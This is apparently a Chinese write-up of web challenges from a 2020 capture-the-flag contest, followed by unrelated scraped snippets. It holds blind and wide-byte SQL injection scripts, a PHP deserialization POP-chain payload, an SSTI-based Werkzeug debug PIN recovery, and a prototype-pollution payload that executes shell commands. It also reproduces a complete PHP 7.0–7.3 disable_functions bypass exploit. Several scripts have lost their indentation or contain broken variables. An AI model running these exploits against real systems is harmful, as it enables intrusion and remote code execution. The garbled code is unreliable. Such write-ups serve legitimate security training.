简单的招聘系统

无需注册账号,admin'or 1#登陆,到blank page页面,在输入key处发现有注入点:

/pages-blank.php?key=1%27+union+select+1%2C(select flaaag from flag)%2C3%2C4%2C5+%23

easysqli_copy

因为用到了PDO+gbk编码,所以应该是预编译+宽字节注入

import requests
import time
data=''
#payload="if(ascii(mid( (select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))!=1,sleep(3),1)"
def str_to_hex(s):
return ''.join([hex(ord(c)).replace('0x', '') for c in s])
#print(str_to_hex(p.format(1,1)))
for i in range(1,45):
for j in range(28,128):
p = "select (ascii(mid((select fllllll4g from table1),'"+str(i)+"',1))='"+str(j)+"') and sleep(3)"
p=str_to_hex(p)
pay='0x'+p
#print(str(pay))
url="你的url/?id=1%df%27;set%20@xx="+str(pay)+";prepare%20a%20from%20@xx;execute%20a;"
#print(url)
t=time.time()
requests.get(url)
if time.time()-t >3 :
data+=chr(j)
print(data)

ezupload

上传php,/readflag

ezsqli

bool盲注,由于过滤了in,所以information、innodb等库都不能使用,测试了一下^符号可以用,select user()发现是root,所以可以用sys数据库

sys.schema_table_statistics_with_buffer

import requests
import string
import time
f=''
id = "2^(ascii(mid((select group_concat(table_name)from sys.schema_table_statistics_with_buffer where table_schema=database() ),{},1))>{})"
#爆表
url="http://e58614882e604a91804226686a98234c0d16b17ae1d14ecf.changame.ichunqiu.com/index.php"
for i in range(1,45):
min=28
max=126
while abs(max - min) > 1:
mid = (max + min) / 2
data={'id':id.format(i,mid)}
re=requests.post(url,data=data)
#print(re.text)
if 'QAQ' in re.text:
min=mid
else:
max=mid
t += chr(int(matx))
print(f)

得到表f1ag_1s_h3r3_hhhhh



本来以为要无列名注入,但是union select、join均被过滤,只能找其他方法

首先如果f1ag_1s_h3r3_hhhhh表中只有一列,那么可以直接用

SUBSTR((SELECT * FROM table),1,1)='x' 来盲注

但是如果有两列及以上,那么就需要用相同数量的列进行比较,例如:

先看下面这个表



用相同数量的列去比较,不同的数据返回值不同,或许能用在盲注上



但是仔细看我这里flag列的值为大F开头,但是当输入a返回1,而小写字母的ascii都大于大写字母,原因是mysql默认是不区分大小写的,若想区分大小写可以用BINARY函数



可惜binary由于in被过滤无法使用,而binary的实际作用是:

BINARY 运算符将紧随其后的 string 转换为 二进制字符串。

主要用来强制进行按字节进行比较(byte by byte),字节而不是字符的字符。这使得字符串比>较是区分大小写的

而当一个字符串连接一个二进制的值时,其得到的也将是二进制,而MySQL中的JSON对象是二进制对象,所以可以用

SELECT CONCAT(“a”, CAST(0 AS JSON))

因为mysql比较字符串大小是按位比较的,因此我们需要找到一个ascii字符中比较大的字符也就是 ~ ,这样的话 f~ 始终大于 flag{xx} , e~ 始终小于 flag{xxx}



exp:

import requests
import string
#print(('-0123456789'+string.ascii_uppercase+string.ascii_lowercase+string.punctuation).replace("'","").replace('"','').replace('\\',''))
s='-0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz!#$%&()*+,-./:;<=>?@[]^_`{|}~'
flag=''
url="http://e58614882e604a91804226686a98234c0d16b17ae1d14ecf.changame.ichunqiu.com/index.php"
for i in range(1,45):
for j in s:
j=flag+j
id="2^((select 1,concat('{}~',CAST('0' as json)))>(select * from f1ag_1s_h3r3_hhhhh limit 1))"
#print(id)
data={'id':id.format(j)}
re=requests.post(url,data=data)
#print(re.text)
if "QAQ" in re.text:
flag=j
print(flag)
break



参考:

smi1e出题笔记

无需in的盲注

如果是在buu上复现可能有点不一样,由于是marridb,无json类型,所以cast会返回bool(false),但是flag全是小写也不用在意,贴个脚本,用的十六进制处理

import requests
import binascii
result=''
url='http://c58f500a-95fc-478d-8ce4-3b2798fd24b1.node3.buuoj.cn/index.php'
text=''
for i in range(1,43):
low=0
high=126
while low <= high:
mid = (low+high)/2
#print((str(binascii.hexlify(( chr(int(mid))).encode())))[2:-1])
payload='1^((select 1,0x'+ (str(binascii.hexlify((text+chr(int(mid))).encode())))[2:-1]+ ') < (select * from f1ag_1s_h3r3_hhhhh))^1'
#print(payload)
r=requests.post(url,data={'id':payload})
if 'Nu1L' in r.text:
low = mid+1
elif 'Error' in r.text:
high = mid-1
mid_num=int((low+high+1)/2)
text+=chr(mid_num-1)
print(text)
print(result.lower())

盲注

源码

<?php
# flag在fl4g里
include 'waf.php';
header("Content-type: text/html; charset=utf-8");
$db = new mysql(); $id = $_GET['id']; if ($id) {
if(check_sql($id)){
exit();
} else {
$sql = "select * from flllllllag where id=$id";
$db->query($sql);
}
}
highlight_file(__FILE__);

过滤了= select < >的盲注

?id=-1 or mid(fl4g,1,1) in ("f") and sleep(3)会延时三秒,我一直觉得这f14g是个变量

exp:

import requests
import time
flag=''
#脚本写的有点渣跑的比较慢
url='http://ba940addab964d3e87ccc58b5542b0ed06cef7156f8d49ce.changame.ichunqiu.com/?id=-1 or ascii(mid(fl4g,{},1)) in ({}) and sleep(3)'
for i in range(1,45):
for j in range(28,127):
t=time.time()
requests.get(url.format(i,j))
if time.time()-t > 3:
flag+=chr(j)
print(flag)

babyphp

知识点:反序列化逃逸+pop链

www.zip获得源码,类配置在lib.php中,而入口在update.php中

<?php
require_once('lib.php');
echo '<html>
<meta charset="utf-8">
<title>update</title>
<h2>这是一个未完成的页面,上线时建议删除本页面</h2>
</html>';
if ($_SESSION['login']!=1){
echo "你还没有登陆呢!";
}
$users=new User();
$users->update();
if($_SESSION['login']===1){
require_once("flag.php");
echo $flag;
}
?>

入口函数在

UpdateHelper::__destruct



令$this->sql=new User()触发User::tostring



令$this->nickname=new Info()触发Info::__call



令$this->CtrlCase=new dbCtrl()跳到dbCtrl::login



接受一个参数$sql并执行该语句,如果token=admin则返回结果,所以$this->token=admin

参数$sql来自Info::__call的arguement,而Info::__call的参数来自User::tostring的$this->age

所以User::$this->age应=sql语句

pop链如下:

<?php
class user{
public $age;
public $nickname;
public function __construct(){
$this->nickname = new Info();
$this->age='select password,id from user where username="admin"';
}
}
Class UpdateHelper{ public $sql;
public function __construct($newInfo,$sql){
$this->sql=new user();
}
}
class Info{
public $CtrlCase;
public function __construct($age,$nickname){
$this->CtrlCase=new dbCtrl();
}
}
class dbCtrl
{
public $token;
public function __construct()
{
$this->token='admin';
}
}
echo serialize(new UpdateHelper());

得到

O:12:"UpdateHelper":1:{s:3:"sql";O:4:"user":2:{s:3:"age";s:51:"select password,id from user where username="admin"";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":1:{s:5:"token";s:5:"admin";}}}}

如果在update.php页面什么都不传参,结果是:

O:4:"Info":3:{s:3:"age";s:0:"";s:8:"nickname";s:0:"";s:8:"CtrlCase";N;}

能够反序列化逃逸的点在User::getNewInfo下



控制nickname为pop链生成的结果,由于默认为3个键值对,为了不出错,需要加上";s:8:"CtrlCase";

也就是:

";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"user":2:{s:3:"age";s:51:"select password,id from user where username="admin"";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":1:{s:5:"token";s:5:"admin";}}}}

一共221个,再看一下替换函数



44个*=220,在来一个union=1

********************************************union";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"user":2:{s:3:"age";s:51:"select password,id from user where username="admin"";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":1:{s:5:"token";s:5:"admin";}}}}

payload:

/update.php POST
age=&nickname=********************************************union";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"user":2:{s:3:"age";s:51:"select password,id from user where username="admin"";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":1:{s:5:"token";s:5:"admin";}}}}



md5解密一下=yingyingying,登陆一下即可

blacklist

改编自强网杯随便注,加了几个过滤:



但是还有handler可以代替查内容



payload:

?inject=1';handler FlagHere open as a;handler a read first;

Flaskapp

在decode页面随便输入123会进入debug页面,并且需要输入pin码才能获得console权限

获取pin码需要知道:

1.username

2.modename:为flask.app

3.getattr(app, '_name_', getattr(app._class_, '_name_')):为Flask

4.app.py的绝对路径

5.mac地址

6.get_machine_id()

可以用ssti读取文件,

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}

base64加密放到decode页面即可读文件

在/etc/passwd下得知username为flaskweb,app.py的绝对路径可以在debug页面直接看到



mac地址在/sys/class/net/eth0/address下得到,需要转换为十进制



十进制



get_machine_id()的话这里有个坑,首先先看/proc/self/cgroup,如果第一行出现/docker/字符那么后面的就是machine_id,如果没有则需要去/etc/machine-id看



第一行有/docker,所以后面一串就是machine_id,而不是在/etc/machine-id!!(坑)

然后套脚本:

import hashlib
from itertools import chain
probably_public_bits = [
'flaskweb',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
] private_bits = [
'2485377957890',# str(uuid.getnode()), /sys/class/net/ens33/address
'ef59c69d152dc41a33d4e816fd7cd936e2736b989ab6765665c6e2e43c4a918a'# get_machine_id(), /etc/machine-id
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)

获得pin码,输入进入console



参考:https://xz.aliyun.com/t/2553#toc-2

ezexpress

知识点:javascript大小写特性绕过+原型链污染

https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html

https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html

由于注册的用户名都会被转换成大写,并且不能有admin,但要upper后要=ADMIN

可以利用这个js特性绕过

"ı".toUpperCase() == 'I'
POST: /login
userid=adm%C4%B1n&pwd=123&action=login&Submit=register

成为ADMIN来到action页面



然后就要用原型链污染了,具体原理还不太懂,下次分析==

payload:

POST /action
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"cat /flag > /app/public/flag\"');//"}}



弹窗success后访问info,污染原型链



/flag就被写入了/app/public/flag,也就是web目录/flag,自动下载文件

ezthinking

知识点:thinkphp6.0任意文件操作漏洞

参考文章:https://paper.seebug.org/1114/

在search页面



会把输入的key传入session并保存session文件,而文件名就是sess_ + 当前session的值,并且这里session长度需要为32才能保存文件

所以



看一下根目录有readflag,不过system被禁用了,所以需要连蚁剑上传bypass

<?php

# PHP 7.0-7.3 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=72530
#
# This exploit should work on all PHP 7.0-7.3 versions
# released as of 04/10/2019, specifically:
#
# PHP 7.0 - 7.0.33
# PHP 7.1 - 7.1.31
# PHP 7.2 - 7.2.23
# PHP 7.3 - 7.3.10
#
# Author: https://github.com/mm0r1 pwn("/readflag"); function pwn($cmd) {
global $abc, $helper;
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
} function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2); $e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2); for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28); if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $text_size) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue; $leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $text_size) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue; return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6); if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
class ryat {
var $ryat;
var $chtg; function __destruct()
{
$this->chtg = $this->ryat;
$this->ryat = 1;
}
}
class Helper {
public $a, $b, $c, $d;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10; # increase this value if you get segfaults
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_repeat('A', 79);
$poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
$out = unserialize($poc);
gc_collect_cycles();
$v = [];
$v[0] = ptr2str(0, 79);
unset($v);
$abc = $out[2][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79) {
die("UAF failed");
}
# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);
# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
($helper->b)($cmd);
exit();
}

2020新春公益赛 writeup的更多相关文章

  1. i春秋2020新春公益赛WP

    Re Factory 主函数fork了一个子进程,父进程添加了一个信号处理器用于比对input,然后死循环挂起.子进程读入input,然后调用了关键函数. 跟进关键函数,发现是从一段内存中读取数据,然 ...

  2. 2020 i春秋新春战疫公益赛 misc

    0x01 code_in_morse morse decode后得到: RFIE4RYNBINAUAAAAAGUSSCEKIAAAAEUAAAAA7AIAYAAAAEPFOMTWAAABANUSRCB ...

  3. 2018国赛 - Writeup(待补充)

    10.0.0.55 Writeup Web 0x01 easyweb 解题思路 题目很脑洞 用户名admin 密码123456进去可得到flag(密码现在换了) 解题脚本 无 Reverse 0x02 ...

  4. 2017 百度杯丶春秋欢乐赛 writeup

    1. 内涵图(Misc) 题目: 我不是一个简单的图片 我是一个有内涵的图片 解:保存到桌面,右键属性->详细信息,即可获得flag. 2. 小电影(Misc) 题目: 我说过 这次比赛是让大家 ...

  5. 信息安全铁人三项赛--资质赛writeup

    [博客目录] 工具 Burp Suite stegsolve.jar 十六进制编辑器 赛题 第一题 第二题 第三题 第四题 第五题 第六题 1- 工具: 1.1- Burp Suite 一款可以进行再 ...

  6. 10.0.0.55训练赛 Writeup

    From LB@10.0.0.55 Misc 0x01 misc100(图片隐写) 首先用binwalk扫了一下,发现没毛病. 然后就搜了一下jpg的文件尾FFD9,如下图,看到了png格式的标志IH ...

  7. DDCTF 2018线上赛writeup

    第一题: d4e8e1f4a0f7e1f3a0e6e1f3f4a1a0d4e8e5a0e6ece1e7a0e9f3baa0c4c4c3d4c6fbb9b2b2e1e2b9b9b7b4e1b4b7e3e ...

  8. RCTF 2018线上赛 writeup

    苦逼的RCTF,只进行了两天,刚好第二天是5.20,出去xxx了,没法打比赛,难受.比赛结束了,还不准继续提交flag进行正确校验了,更难受. 下面是本次ctf解题思路流程 后面我解出的题会陆续更新上 ...

  9. 2019第十二届全国大学生信息安全实践创新赛线上赛Writeup

    本文章来自https://www.cnblogs.com/iAmSoScArEd/p/10780242.html  未经允许不得转载! 1.MISC-签到 下载附件后,看到readme.txt打开后提 ...

随机推荐

  1. 微信小程序传code 拿token 后台报40029 状态吗,是为什么?

    看看是不是code用了两次,还有种可能,检查一下后台的appid

  2. 【python】anaconda中打开IDLE(python 自带编辑器)

    最近要参加蓝桥杯了,发现 python 的编辑器是使用 python 自带的 IDLE,电脑上只用 Anaconda,就来找一下 打开 .\Anaconda3\Scripts\idel.exe 打开 ...

  3. MySQL 避免使用字符串类型作为标识列

    避免使用字符串类型作为标识列: 消耗空间. 比数字类型慢(MyISAM 中对字符串使用压缩索引,查询会慢). 对于 MD5().UUID() 生成的随机字符串,这些值会分布在很大的空间内,导致 ins ...

  4. 【PAT甲级】1110 Complete Binary Tree (25分)

    题意: 输入一个正整数N(<=20),代表结点个数(0~N-1),接着输入N行每行包括每个结点的左右子结点,'-'表示无该子结点,输出是否是一颗完全二叉树,是的话输出最后一个子结点否则输出根节点 ...

  5. CentOS7修改主机名的三种方法

    在CentOS7中,有三种定义的主机名: 静态的(Static hostname) “静态”主机名也称为内核主机名,是系统在启动时从/etc/hostname自动初始化的主机名. 瞬态的(Tansie ...

  6. Linux下系统版本查询命令

    # uname -a (Linux查看版本当前操作系统内核信息) # cat /proc/version (Linux查看当前操作系统版本信息) # cat /etc/issue 或 cat /etc ...

  7. C:产生随机数

    函数说明 #include <time.h> time_t time(time_t *t); 功能:获取当前系统时间 参数:常设置为NULL 返回值:当前系统时间, time_t 相当于l ...

  8. springboot多模块项目打war包

    一.父模块配置 1,指定pakaging:pom 2,指定编译的版本:如下图: <properties> <project.build.sourceEncoding>UTF-8 ...

  9. MySQL双机热备环境搭建

    一.    前期准备 准备两台服务器(电脑),接入到同一局域网中,能够使双方可以ping通: 安装MySQL数据库,具体安装方法网上很全面,但是安装的版本需保持一致: 服务器IP地址设置. l  A服 ...

  10. bfs迷宫

    链接:https://ac.nowcoder.com/acm/contest/338/BSleeping is a favorite of little bearBaby, because the w ...